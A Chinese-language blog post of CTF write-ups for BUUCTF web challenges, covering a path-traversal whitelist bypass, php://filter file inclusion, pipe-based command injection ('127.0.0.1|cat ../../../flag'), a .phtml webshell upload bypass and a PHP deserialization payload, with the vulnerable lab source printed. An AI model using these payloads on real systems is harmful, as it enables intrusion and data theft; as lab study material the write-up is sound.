BUUCTF WEB CTF
[极客大挑战 2019]EasySQL
[HCTF 2018]WarmUp
/source.php
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) { // 或者不设置page,或者page不等于字符串时 就return 结束
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) { //page不能在数组里
echo "yes1";
return true; //如果执行了return,则return 语句后面的内容将不会被执行了;
}
$_page = mb_substr( //截取 $page 0,?出现的之前的字符串,相当于还是全部字符
$page,
0,
mb_strpos($page . '?', '?') //找page? 中第一次出现的位置
);
if (in_array($_page, $whitelist)) { //$_page 不能在白名单,否则return结束
echo "yes2";
return true;
}
$_page = urldecode($page); // 解码一次$page
$_page = mb_substr( //这次要截取出白名单含有的内容,下面的if返回一个true,否则下面的if不匹配,后面就返回false。最后的if条件就不成立了
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) { /
echo "yes3";
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file']) //$file非空,并且是字符串,然后用checkfile过滤完
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file']; //包含file文件
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
payload
source.php%3f../../../../../ffffllllaaaagggg
[极客大挑战 2019]Havefun
view-source
payload
[ACTF2020 新生赛]Include
php伪协议
?file=php://filter/read=convert.base64-encode/resource=flag.php
flag
[ACTF2020 新生赛]Exec
命令拼接执行
127.0.0.1|ls ../../../
127.0.0.1|cat ../../../flag
2022 upload
上传过程
会重命名
查看源码猜测是前段白名单过滤验证
图片马绕过
抓包修改后缀
后端有验证
PHTML绕过
PHTML(有时叫做PHP)网页是一种包含PHP(一种和JavaScript或 Microsoft VBScript类似的语言)脚本的网页和ASP一样,PHP脚本镶嵌在网页的HTML代码之中。在页面被发送给请求的用户之前,网页服务器调用PHP解释程序来解释和执行PHP脚本。含有PHP脚本的网页通常都以“.php”、“.php3”或“.phtml”作为后缀。和ASP一样,PHP可以被认为是一种“动态网页”。
补充:黑名单绕过姿势
jsp | asp | php | exe |
---|---|---|---|
jspx | asa | phtml | exee |
jspf | cer | php3 | |
aspx | php4 | ||
php5 |
上传图片马,修改格式为phtml
菜刀链接查看flag
后端php代码过滤分析
<?php
error_reporting(0);
//设置上传目录
define("UPLOAD_PATH", "./uplo4d");
$msg = "Upload Success!";
if (isset($_POST['submit'])) {
$temp_file = $_FILES['upload_file']['tmp_name']; //暂时存储文件的名字
$file_name = $_FILES['upload_file']['name']; //文件的名字
$ext = pathinfo($file_name,PATHINFO_EXTENSION);
if(in_array($ext, ['php', 'php3', 'php4', 'php5'])) { //查看后缀是不是在名单内
exit('nonono~ Bad file!'); //如果在数组内就结束执行
}
$new_file_name = md5($file_name).".".$ext; //md5文件名拼接上"."和变量ext
$img_path = UPLOAD_PATH . '/' . $new_file_name; //新文件名拼接路径
if (move_uploaded_file($temp_file, $img_path)){ //把文件移动到uplo4d顺便改名
$is_upload = true;
} else {
$msg = 'Upload Failed!';
}
echo '<div style="color:#F00">'.$msg." Look here~ ".$img_path."</div>";
}
?>
?>
[极客大挑战 2019]BuyFlag
view-source/pay.php
绕过身份验证
弱类型比较和科学计算法绕过
[ZJCTF 2019]NiZhuanSiWei
首页
<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){ //
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
第一层text绕过
php://input绕过
php://input 是个可以访问请求的原始数据的只读流。 POST 请求的情况下,最好使用 php://input 来代替 $HTTP_RAW_POST_DATA,因为它不依赖于特定的 php.ini 指令。 而且,这样的情况下 $HTTP_RAW_POST_DATA 默认没有填充, 比激活 always_populate_raw_post_data 潜在需要更少的内存。 enctype="multipart/form-data" 的时候 php://input 是无效的。php://input的用法
只有Coentent-Type为multipart/form-data的时候,PHP不会将http请求数据包中的相应数据填入php://input,否则其它情况都会。填入的长度,由Coentent-Length指定。
按理来说应该行的,但是不中
data绕过
?text=data://text/plain,welcome to the zjctf
第二层绕过
useless.php
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
include之后相当于这样
<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){ //
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
$password = unserialize($password);
echo $password; //当echo 一个对象时会触发__toSring魔术方法
}
}
else{
highlight_file(__FILE__);
}
?>
构造POC
最终payload
?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
<?php
class Flag{ //flag.php
public $file="flag.php";
public function __tostring(){ //魔术方法的一种, 具体用途是当一个对象被当作字符串对待的时候,会触发这个魔术方法
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
$a = new Flag();
$b = serialize($a);
echo $b;
echo'</br>';
echo base64_encode($b);
?>
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· Manus的开源复刻OpenManus初探
· AI 智能体引爆开源社区「GitHub 热点速览」
· 从HTTP原因短语缺失研究HTTP/2和HTTP/3的设计差异
· 三行代码完成国际化适配,妙~啊~